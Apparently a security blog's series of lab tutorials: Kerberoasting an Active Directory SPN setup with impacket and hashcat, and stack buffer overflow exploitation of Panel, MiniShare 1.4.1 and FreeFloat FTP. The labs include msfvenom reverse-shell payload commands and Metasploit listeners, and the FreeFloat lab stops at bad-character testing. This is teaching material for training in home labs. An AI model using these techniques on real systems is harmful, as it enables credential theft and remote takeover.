Kerberos Service Principal Name (SPN) Lab

Having already set up Active directory as per (https://vk9-sec.com/active-directory-dns-lab/). We can set up the SPN service for testing purposes.

To use Kerberos authentication requires both the following conditions to be true:

  • The client and server computers must be part of the same Windows domain, or in trusted domains.
  • A Service Principal Name (SPN) must be registered with Active Directory, which assumes the role of the Key Distribution Center in a Windows domain.

The SPN is sent to the Key Distribution Center to obtain a security token for authenticating the connection. If a security token can't be obtained, authentication uses NTLM.

SPN Formats

Beginning with SQL Server 2008, the SPN format is changed in order to support Kerberos authentication on TCP/IP, named pipes, and shared memory. The supported SPN formats for named and default instances are as follows.

Named instance

  • MSSQLSvc/<FQDN>:[<port> | <instancename>], where:
    • MSSQLSvc is the service that is being registered.
    • <FQDN> is the fully qualified domain name of the server.
    • <port> is the TCP port number.
    • <instancename> is the name of the SQL Server instance.

Default instance

  • MSSQLSvc/<FQDN>:<port> | MSSQLSvc/<FQDN>, where:
    • MSSQLSvc is the service that is being registered.
    • <FQDN> is the fully qualified domain name of the server.
    • <port> is the TCP port number.
SPN format Description
MSSQLSvc/<FQDN>:<port> The provider-generated, default SPN when TCP is used. <port> is a TCP port number.
MSSQLSvc/<FQDN> The provider-generated, default SPN for a default instance when a protocol other than TCP is used. <FQDN> is a fully qualified domain name.
MSSQLSvc/<FQDN>:<instancename> The provider-generated, default SPN for a named instance when a protocol other than TCP is used. <instancename> is the name of an instance of SQL Server.

Procedure

1. Add 2 users that will be added to the SPN list

  • Server Manager - Tools - Active Directory Users and Computers
  • Users

2. Right click users and add a new user

  • Users - New - User
  • Next

NOTE: I will add user1 & user2

2. Then, add the password for each. In this example this will be as:

  • user1/Password1
  • user2/Password2

3. Having the user account already we will proceed to add those to SPN

  • echo %computername%
  • setspn -A WIN2K19-AD/user1.vk9-sec.com vk9-sec\user1
  • setspn -A WIN2K19-AD/user2.vk9-sec.com vk9-sec\user2

4. Confirm these were added

  • setspn -T vk9-sec.com -Q */*

Testing Kerberoasting tools

1. Get the domain users

  • python3.9 /usr/share/doc/python3-impacket/examples/GetADUsers.py -all vk9-sec.com/user1:Password1 -dc-ip 192.168.0.100

2. Get the users listed for SPN, and save the output to tgs.hash

  • python3.9 /opt/impacket/examples/GetUserSPNs.py vk9-sec.com/user1:Password1 -dc-ip 192.168.0.100 -request -output tgs.hash

3. Check the new file contents, we can see the users hash

  • cat tgs.hash

4. Crack the hashes using hashcat

  • hashcat -m 13100 tgs.hash /usr/share/wordlists/rockyou.txt --force --potfile-disable

Note: We could crack user1 & user2 only by having user1 credentials.

 

BufferOverflow lab 3: Panel app (Linux)

This lab is intended to demonstrate how to exploit BoF in Linux. The vulnerable application is Panel which can be downloaded from a VulnHub machine (https://www.vulnhub.com/entry/pinkys-palace-v2,229/). The executable can be found at (https://github.com/vry4n/BoF-Panel-Linux)

This application is a custom app that runs on port 31337 & it is vulnerable to Buffer Overflow (BoF). This is general guide for this type of attacks.

  • telnet 192.168.0.13 31337

Getting started

1. Download the application

2. Start the application and try connecting to it. Try to test all its functionality. In this case it seems to accept input, for what reason, I have no idea.

  • chmod 777 panel
  • ./panel

3. Make sure that the port is opened and running

  • netstat -an | grep 31337
  • nmap -p 31337 192.168.0.13

4. Connect to it, and, send input

  • telnet 192.168.0.13 31337
  • python3.9 -c ‘print(“A” * 400)’ | telnet 192.168.0.13 31337

Step 1 (Discover the buffer size)

1. We will use the code (BoF-Panel-1.py) to discover the size of the buffer. A’s are sent to the application’s input the buffer exceeds its memory size resulting in a Segmentation fault and terminating of the child process. The application though spawns another child process and waits for a connection. Resulting in the application not stopping at all. (https://github.com/vry4n/BoF-Panel-Linux/blob/main/BoF-Panel-1.py)

  • python3.9 BoF-Panel-1.py

2. We will now use “ltrace” to look for “segmentation fault” issues. I’ll send 1000 bytes

  • ltrace -f ./panel
  • python3.9 -c 'print("A" * 1000)' | telnet 192.168.0.13 31337

3. We can also use “strace” for the same purpose. We also found SIGSEGV

  • starce -f ./panel

Note. At this point we know we get a segmentation fault using 1000 bytes, we still need to confirm the size of the buffer.

4. We can check if ASLR is enabled

readelf FLAGS: W (write), A (alloc), X (execute), M (merge), S (strings), I (info), L (link order), O (extra OS processing required), G (group), T (TLS), C (compressed), x (unknown), o (OS specific), E (exclude), l (large), p (processor specific)

  • cat /proc/sys/kernel/randomize_va_space # 0 means off, 2 means enabled
  • readelf -a ./panel | grep -i -A3 stack

Note: This stack is executable RWE. For more info (https://www.win.tue.nl/~aeb/linux/hh/protection.html). Also, we found out ASLR is enabled at the PC if the application had any randomization, which doesn’t

5. You can also get Functions info using redelf

  • readelf -s ./panel

6. Running GDB & PEDA we can send input to inspect the application while running. (PEDA installation is out of scope for more info visit https://github.com/longld/peda/ ). Every time you run the application you have to kill it. Otherwise you get a “[-] Binding to socket” error

  • killall panel
  • gdb ./panel

7. Run the application and debugger

  • run

8. Now, that the debugger is running, lets send the 1000 bytes

  • python -c 'print("A" * 1000)' | telnet 192.168.0.13 31337

9. Now at the debugger we get the results. First thing we noticed was the function that failed, handlecmd, we also can see we get a SIGSEGV termination signal

8. You can display functions using GDB, you will see handlecmd listed

  • info functions

10. Now we can disassemble this function, handlecmd, to see what is inside

  • disassemble handlecmd

11. We can see that it fails at 0x00000000004009aa (ret = return). We can set a breakpoint

  • b * 0x00000000004009aa # 0x4009aa
  • info breakpoint

12. Run again the same procedure, to hit the breakpoint

  • kill the panel processes
  • run # GDB
  • send the 1000 bytes

Note: 0x4009aa ret in handlecmd is going to return to the RSP (64) ESP (32)

13. We can now inspect what is inside RSP, guess what, yes, the 1000 “A”s represented as 0x41 each character

  • x/1000x $rsp

14. We can also check registers to see “rbp” overwritten with 0x41

  • info registers

15. Now we need to find the size of this buffer. We will do a pattern_ create to make a long string with unique pattern. We will use PEDA functions to generate this pattern, but there are many other good tools that help with pattern create activity.

  • pattern_create 1000

16. Now run the application again, and instead of the 1000 “A”, send the pattern. You can use the script (https://github.com/vry4n/BoF-Panel-Linux/blob/main/BoF-Panel-2.py)

  • python3.9 BoF-Panel.py

17. Inspect the GDB console now, the patterns should be filling “rsp”

18. If you see RSP it points to the stack 0x7fffffffce98. Grabbing the contents from that stack

  • "jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"

19. Grabbing that stack content, we can use now PEDA “pattern_offset”, to find the exact number of bytes needed to overwrite RSP. In our case it is 120 bytes is the buffer size.

  • pattern_offset "jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"

Note: Write down that 120 offset

Step 2 (Overwriting EIP)

1. Now that we know the maximum Stack size is 120, we can modify our script to send those in just one packet. Lets try to run again, and see the Stack showing the multiple “A”, The stack is filled with the junk value as expected, after the program crashes. (https://github.com/vry4n/BoF-Panel-Linux/blob/main/BoF-Panel-3.py)

  • python3.9 BoF-Panel-3.py

We can see RBP filled with “A”s

2. If check RSP values we can see all the 0x41 (A) characters

  • x/1000x $rsp

3. There should also be a memory access violation issue when accessing “RBP”

  • x/100x $rbp

Step 3 (Controlling the instruction pointer)

1. Now that we know the buffer space is 120 bytes, we can append 4 more bytes to overwrite “RIP”. We can use the script (https://github.com/vry4n/BoF-Panel-Linux/blob/main/BoF-Panel-4.py)

  • python3.9 BoF-Panel-4.py

2. If we check the contents of “RSP” we will see all the “A” & “B” as 0x41 & 0x42

  • x/1000x $rsp

Step 4 (Identify BadChars)

1. Below we have the list of badchars, keep in mind that \x00 is always a badchar.

  • \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

2. We added the bad chars on top of the As & Bs. See as reference (https://github.com/vry4n/BoF-Panel-Linux/blob/main/BoF-Panel-5.py)

3. We run the script and capture the activity using GDB debugger. We will inspect the RSP, and, compare the badchars sequence should start \x01 to \xff without interruption.

  • x/1000x $rsp

Note: We will see all the As (x41) and Bs (x42) followed by the badchar pattern. In this scenario there were no bad chars luckily. If there is any interruption, you need to remove the character at that point and run over and over, until all bad characters are removed.

4. Now that we know the following

  • Buffer space: 120 bytes
  • EIP: buffer space + 4 bytes
  • Tested all bad characters (\x00)

Step 5 (Finding JMP ESP)

EIP/RIP holds the address of the next instruction to be executed. That means in order for our shellcode to be executed concurrently with the overflow happening, we need to make sure that the EIP/RIP points to the location in memory where our shellcode will be located, it can be any module that executes JMP ESP (RSP).

1. To find JMP ESP

  • jmpcall

2. Now that we know the Jump ESP or Jump RSP, we need to test and execute it. Since, this is in little endian, the value needs to be added backwards (https://github.com/vry4n/BoF-Panel-Linux/blob/main/BoF-Panel-6.py)

  • \xfb\x0c\x40\x00

3. In RSP we can see the JMPESP

  • x/1000x $rsp

4. At this point we control the following

  • Buffer space: 120 bytes
  • EIP: buffer space + 4 bytes (JMP ESP 0x400cfb)
  • Identified all bad characters (\x00)
  • Got successful execution of 0x400cfb

Step 6 (Generating the exploit in Shellcode)

1. The last thing we need to do is generate our shellcode and add it to the Python script. To do this we need msfvenom

-a = architecture

-b = Specify bad characters

-f = Format

-v = set variable name

  • msfvenom -a x64 -p linux/x64/shell_reverse_tcp LHOST=192.168.0.13 LPORT=5554 -b '\x00' -f python -v PAYLOAD

2. We will add this instruction to our code. I tried (120 bytes (FUZZ) + 4 bytes (JMPESP) + Payload) it didn’t work. Luckily this payload that was created is 119, so, I wrote the script as (1 byte + 119 bytes (payload) + JMPESP)

3. Now that we have the script ready. We need to start a netcat listener in our Kali machine

  • nc -lvp 5554

4. Execute the script, and, you get a reverse connection

BufferOverflow lab 2: MiniShare

This time we’ll exploit Minishare 1.4.1. This is a web application that runs on port 80 as HTTP, you can share files and the users can download them from the site. I uploaded the application to GitHub (https://github.com/vry4n/BoF-MiniShare-1.4.1)

Lab details

Windows XP x86 (192.168.0.5)

  • Immunity debugger
  • MiniShare 1.4.1

Kali (192.168.0.20)

  • Pycharm or any python editor
  • Python3

Getting Started

1. First thing to do is install MiniShare and Immunity Debugger, refer to user guides if you don’t know how to do, but the process is pretty straight forward. I already dragged a file into the MiniShare window.

2. From kali machine access the Windows IP address in the browser, the file appears there. That is the basic function of this application.

  • http://192.168.0.5

3. Now that we know the basics about the application, lets enumerate the server with nmap, we see port 80 as open

  • nmap -sV -sC -A -T 4 192.168.0.5

4. Now with a proxy in this case BurpSuite we will inspect the HTTP header. You can you any proxy you’d like. We are interested on the Request, grab that and put it in a text editor

a. HTTP GET Request

b. HTTP GET Response

5. Within the Request we can find the vulnerable parameter (GET / HTTP/1.1), we need to inject characters in the location “/”.

Step 1 (Discover the buffer size)

1. We will use the code BoF-MiniShare-1.py (https://github.com/vry4n/BoF-MiniShare-1.4.1/blob/main/BoF-MiniShare-1.py) to discover the size of the buffer. This is the line within the code will send the HTTP GET request

  • s.send(b"GET " + FUZZ.encode() + b"HTTP/1.1\r\n\r\n")

It will send GET A, every time the As will increase, The reason to run this is to full the buffer and make the program crash, that way we know if the application is vulnerable to buffer overflow. You need to adjust the IP address within the script.

  • Windows App

  • Script output

2. At this point we know the code crashed at 1800 bytes. We need to write that down somewhere.

Step 2 (Overwriting EIP)

1. Restart the application and attach/open with Immunity Debugger

2. Now that we know the maximum Stack size is 1800, we can modify our script to send those in just one packet. Lets try to run again, and see the Stack showing the multiple “A”, The stack is filled with the junk value as expected, after the program crashes.

3. Now look at Immunity debugger console and after the crash a similar message should be shown, that [41414141], is the EIP register, which has been overwritten and the instruction is not found.

4. If we look at the EIP register it is now 41414141, which means, AAAA. At this point we know that the EIP instruction pointer can be controlled.

Step 3 (Controlling the instruction pointer)

1. In this phase, we will control the instruction pointer by calculating the exact offset of the EIP register. First of all, we need to create a pattern using Metasploit pattern_create.rb script.

  • /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1800

2. We need to modify our script a little bit to add this new value. The new script is now named BoF-MiniShare-3.py (https://github.com/vry4n/BoF-MiniShare-1.4.1/blob/main/BoF-MiniShare-3.py)

3. Run the application again and inspect Immunity debugger, after the app crashed, EIP value. We have is 36684335

EIP Register

Immunity Debugger bottom error

4. Now that we have located the pattern in EIP 36684335, we need to find the position of within those 1800 bytes generated with pattern_create.rb, for that, we will use pattern_offset.rb, in this case the result is 1787

  • /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 36684335 -l 1800

5. We need now to edit the script to send 1787 bytes as A, followed by 4 bytes as B. For that we will use BoF-MiniShare-4.py (https://github.com/vry4n/BoF-MiniShare-1.4.1/blob/main/BoF-MiniShare-4.py)

6. When we run BoF-MiniShare-4.py, we will notice that the EIP register value is now 42424242, which means, BBBB

Step 4 (Identify BadChars)

1. Below we have the list of badchars, keep in mind that \x00 is always a badchar.

  • \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

2. We need to include that into the script and identify each of the characters not allowed. For that I developed BoF-MiniShare-5.py (), run it and check in Immunity Debugger the data

3. Once it’s been run, In the stack section locate the ASCII conversion, where all the As are shown, right click it and select “Follow in Dump”

4. The “follow in dump” will locate the data in the hexadecimal section, so we can easily check for the absence of characters or where characters don’t follow the sequence, those mean bad characters.

In this image below we see 0102030405060708090A0B0C0A, it should be 0102030405060708090A0B0C0D, this means that \x0d in our code needs to be removed, from the script and run again.

5. We need to keep doing the same until all Badchars are removed. I only identified \x0d as badchar besides the always badchar \x00

6. After removing all the bad characters, we should have all the rest of the characters as sequence, until we end to the last valid character in sequence, in this case Xff. We will use the variables

FUZZ = “A” * 1787

EIP = “B” * 4

BADCHARS = (b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

7. Now that we know the following

  • Buffer space: 1787 bytes
  • EIP: buffer space + 4 bytes
  • Tested all bad characters (\x00\ x0d)

We need to identify the executable module, where the EIP will be pointing, that is with the help of JMP ESP

Step 5 (Finding JMP ESP)

EIP holds the address of the next instruction to be executed. That means in order for our shellcode to be executed concurrently with the overflow happening, we need to make sure that the EIP points to the location in memory where our shellcode will be located, it can be any module that executes JMP ESP.

1. Click on the Disassembly window, in the left upper location

  • Search for -> All Commands in all modules

2. Search for JMP ESP

3. We are presented with multiple modules and the Disassembly instruction. I’d choose one of those “USER32.dll”, 7E4456F7. Remember, we need an address that does not contain bad characters.

4. We can run mona script to see if the “USER32” is ASLR protected (dynamic code execution)

  • !mona modules
  • Locate the .dll, in this case “USER32”, which has ASLR = False

5. We can verify our selection (“USER32”, 7E4456F7) with mona. In kali run nasm_shell.rb and get the output in our case FFE4 (opcode of JMP ESP)

  • /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
  • Jmp esp

6. In mona we can search using he opcode returned by nasm_shell.rb, the hex code equivalent of JMP ESP is FFE4

  • !mona find -s "\xFF\xE4" -m SHELL32.dll

7. Now that we know the target 7E4456F7, we should verify that we have successfully changed the execution flow to make the EIP execute the JMP ESP instruction within the USER32.dll. We will do this by overwriting EIP with the memory address of the JMP ESP instruction and then, once again, writing C’s thereafter. We will use the script BoF-MiniShare-6.py to do this.

8. After successful execution of the script, we can check the stack data between the As and Cs we see the execution of USER32.dll

9. At this point we control the following

  • Buffer space: 1787 bytes
  • EIP: buffer space + 4 bytes (JMP ESP 0x7E4456F7)
  • Identified all bad characters (\x00\x0d)
  • Got successful execution of USER32.dll

Step 6 (Generating the exploit in Shellcode)

1. The last thing we need to do is generate our shellcode and add it to the Python script. To do this we need msfvenom, we will execute a CMD command to open the calculator

-a = architecture

-b = Specify bad characters

-f = Format

-v = set variable name

  • msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe -b '\x00\x0D' -v calc -f python

2. For this final stage we will use the script BoF-MiniShare-7.py, We have added the code, we are sending the data as follows

https://github.com/vry4n/BoF-MiniShare-1.4.1/blob/main/BoF-MiniShare-7.py

  • Junk = 1787
  • JMP ESP = 7E4456F7
  • NOPs = "\x90" * 32
  • Shellcode (instruction to execute calc.exe)

Our exploit should look like this

3. After a successful execution we get the calculator popping up

`

4. We can also replace the calculator code with code to execute a reverse connection. For this we will use BoF-MiniShare-8.py, to replace the calculator code with the reverse shell code.

5. Generate the payload using MSFVenom

  • msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.0.20 LPORT=4444 -b "\x00\x0d" -v shellcode -f python

6. Add it to the code BoF-MiniShare-7.py replacing the variable value from calc to shellcode, as demonstrated in BoF-MiniShare-8.py (https://github.com/vry4n/BoF-MiniShare-1.4.1/blob/main/BoF-MiniShare-8.py)

7. Before we execute our code, we need to start a Metasploit listener

  • sudo msfdb init
  • msfconsole
  • use exploit/multi/handler
  • set payload windows/shell/reverse_tcp
  • set LHOST 192.168.0.20
  • set LPORT 4444
  • exploit

8. At this point we are all set with the exploit, and also, have a listener on the attacking machine. Lets run the script and see if we get a reverse shell.

9. Now we can run system commands

  • systeminfo

BufferOverflow lab 1: FreeFloat FTP Server

This lab is intended to demonstrate how to exploit BoF in Windows. The vulnerable application is FreeFloat which can be downloaded from (https://www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip).

The Freefloat FTP Server has many vulnerable parameters, which can be useful to practice on, and we will choose one of them here to do a full exercise.

The code for each stage of the tutorial can be found in our GitHub account. (https://github.com/vry4n/BoF-FreeFloat-FTP)

Lab details

Victim: Windows XP SP3 x86

Application: FreeFloat Ftp Server (Version 1.00)

Getting Started

1. Run the application in the Windows machine. By double clicking the .exe file.

2. Make sure it is in running state. You can verify that by running netstat command

  • netstat -ano | FINDSTR 21

3. From a remote machine you can run nmap to enumerate the service

  • nmap -p 21 -sV -sC -A -T4 192.168.0.5

4. You can also test the application by connecting to it via telnet

  • telnet 192.168.0.5 21
  • USER anonymous
  • PASS anonymous

5. In this case we will use USER parameter to exploit the application.

Step 1 (Discover the buffer size)

We will use the code (BoF-Freefloat-1.py) to discover the size of the buffer

Here we can see that the script stopped at 300 bytes.

If we actually look at the Windows machine, we can see the application crashed.

Step 2 (Overwriting EIP)

1. Restart the application and attach/open with Immunity Debugger

2. Now that we know the maximum Stack size is 300, we can modify our script to send those in just one packet. Lets try to run again, and see the Stack showing the multiple “A”, The stack is filled with the junk value as expected, after the program crashes.

3. Now look at Immunity debugger console and after the crash a similar message should be shown, that [41414141], is the EIP register, which has been overwritten and the instruction is not found.

4. If we look at the EIP register it is now 41414141, which means, AAAA. At this point we know that the EIP instruction pointer can be controlled.

Step 3 (Controlling the instruction pointer)

1. In this phase, we will control the instruction pointer by calculating the exact offset of the EIP register. First of all, we need to create a pattern using Metasploit pattern_create.rb script.

  • find / -name pattern_create.rb 2> /dev/null
  • /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300

2. We need to modify the script a little bit to add this new value. The new script is now named BoF-Freefloat-3.py (https://github.com/vry4n/BoF-FreeFloat-FTP/blob/main/BoF-Freefloat-3.py)

3. Run it again and inspect Immunity debugger, EIP value. We have 37684136

EIP Register

Immunity Debugger bottom error

4. Now that we have located the pattern in EIP, we need to find the position within those 300 bytes generated with pattern_create.rb, for that, we will use pattern_offset.rb, in this case the result is 230

  • find / -name pattern_offset.rb 2> /dev/null
  • /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 37684136 -l 300

5. We need now to edit the script to send 230 bytes as A, followed by 4 bytes as B. For that we will use BoF-Freefloat-4.py (https://github.com/vry4n/BoF-FreeFloat-FTP/blob/main/BoF-Freefloat-4.py)

6. If we run BoF-Freefloat-4.py, we will notice that the EIP register value is now 42424242, which means, BBBB

Step 4 (Identify BadChars)

1. Below we have the list of badchars, keep in mind that \x00 is always a badchar.

  • \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

2. We need to include that into the script and identify each of the characters not allowed. For that I developed BoF-Freefloat-5.py (https://github.com/vry4n/BoF-FreeFloat-FTP/blob/main/BoF-Freefloat-5.py), run it and check in Immunity Debugger the data

3. Once it’s been run, In the stack section locate the ASCII conversion, where all the As are shown, right click it and select “Follow in Dump”

4. The “follow in dump” will locate the data in the hexadecimal section, so we can easily check for the absence of characters or where characters don’t follow the sequence, those mean bad characters.

In this image below we see 01020304050607080900, it should be 0102030405060708090A, this means that \x0a in our code needs to be removed

5. We need to keep doing the same until all Badchars are removed. In this screenshot we also identified \x0d as a bad character.

6. After removing all the bad characters, we should have all the rest of the characters as sequence. We will use the variables

FUZZ = “A” * 230

EIP = “B” * 4

BADCHARS = (b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"

b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"

b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"

b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"

b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"

b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"

b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"

b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

7. Now that we know the following

  • Buffer space: 230 bytes
  • EIP: buffer space + 4 bytes
  • Tested all bad characters (\x00\x0a\x0d)

